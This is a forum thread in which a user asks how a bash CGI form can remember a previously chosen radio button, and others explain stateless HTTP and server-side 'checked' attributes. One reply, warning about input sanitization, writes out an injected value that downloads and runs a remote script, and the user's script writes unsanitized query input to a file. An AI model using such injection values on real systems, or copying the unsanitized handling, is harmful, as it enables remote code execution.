cgi & bash

kzo81 · 03-08-2019, 09:27 AM

Hi All,

If I have this cgi script:

Code:

#!/bin/bash

echo "Content-type: text/html"
echo ""
echo "<html><head><title>Test</title></head>"
echo "<body>"

echo "<p>Select:</p>"

echo "<form action="submit.sh" method="GET">"

echo "<input type="radio" name="letter" value="A">A<br>"
echo "<input type="radio" name="letter" value="B">B<br>"
echo "<input type="radio" name="letter" value="C">C<br>"
echo "<input type="submit">"

echo "</form>"

echo "</body></html>"

and submit.sh:

Quote:

#!/bin/bash

echo "Content-type: text/html"
echo ""

if [ -z "$QUERY_STRING" ]; then
exit 0
fi

if [ "$REQUEST_METHOD" != "GET" ]; then
echo "Error"
exit 1
fi

letter=$(echo "$QUERY_STRING" | sed -n 's/^.*letter=$[^&]*$.*$/\1/p' | sed "s/%20/ /g")

CONFIG_FILE="/home/$USER/www/testing.cfg"

if [ ! -e "$CONFIG_FILE" ];then
touch "$CONFIG_FILE"
fi

echo "LETTER="$letter"" > "$CONFIG_FILE"

How could it be done that after refreshing, the radio button automatically sets to the previously set letter? In other words I need to feed the config file into, but I don't know how to implement that.

Thanks,

Turbocapitalist · 03-08-2019, 09:43 AM

Your submit script could reproduce the form and, since you are using bash, you could have the letter as the key in an array and set that element in the array to "checked".

However, be sure to tighten up the sanitization of the variable $letter before it gets passed to the system. You don't want letter to be a"; wget -O bad http:/...; sh bad; or anything similar.

kzo81 · 03-08-2019, 09:46 AM

Ok, what if I just hit F5 on the index page, then I'd like to read in the previously set variable, and be able to re-set it

Turbocapitalist · 03-08-2019, 09:50 AM

The web page sends data to the server. The server processes it then sends a response back which is then rendered in the browser.

The way I've usually done it, albeit in perl not shell, is to put everything into the submit script which then displays a blank form if it has not already received any data.

Remember HTTP, and thus HTTPS, is completely stateless and also that the server does the work.

kzo81 · 03-08-2019, 11:55 AM

ok, but after the first selection, a config file is written. After that if I reload the page, I dont know what has been selected previously. So somehow when the page reloads, it should show what's been selected.

Turbocapitalist · 03-08-2019, 12:02 PM

There should no reloading of any pages. The form should send the data away and get, via the submit script produced by the submit script, a new form with the right button checked. It's easy to do but not so easy to explain.

scasey · 03-08-2019, 12:39 PM

It's NOT easy to explain, yes. Going to try anyway.
Your form has radio buttons.
Select one ("check" it) and send to the server.
The server-side script needs to capture which is checked and populate the form with the checked attribute when it sends it back. So the form has

Code:

<input type="radio" $chkdA name="letter" value="A"
etc.

and the script that sends the form needs something like

Code:

if $letter = 'A' then $chkdA = "checked" 
etc.

kzo81 · 03-08-2019, 01:37 PM

Thanks for the help Guys! I think I need to dive into this subject more.

I switched to haserl in the meantime, but I got an error if I include the config file:

Quote:

#!/usr/bin/haserl
content-type: text/html

<%in /home/$USER/www/cgi-bin/testing.cfg %>

<html>
<body>

<form action="submit2.sh" method="GET">

<input type="radio" name="letter" value="A">A<br>
<input type="radio" name="letter" value="B">B<br>
<input type="radio" name="letter" value="C">C<br>
<input type="submit" value="set">

</form>

</body>
</html>

the output is:

Quote:

haserl CGI Error

Unable to open file /home/$USER/www/cgi-bin/testing.cfg

I think I need to parse the config file before, to set it "checked"

scasey · 03-08-2019, 02:15 PM

Quote:

Originally Posted by kzo81

Thanks for the help Guys! I think I need to dive into this subject more.

I switched to haserl in the meantime, but I got an error if I include the config file:

the output is:

I think I need to parse the config file before, to set it "checked"

What do you expect $USER to be?
I would expect it to be the apache user...where, actually, is the file located.

kzo81 · 03-08-2019, 02:16 PM

Quote:

Originally Posted by scasey

What do you expect $USER to be?

Thanks!! I though it's the system user...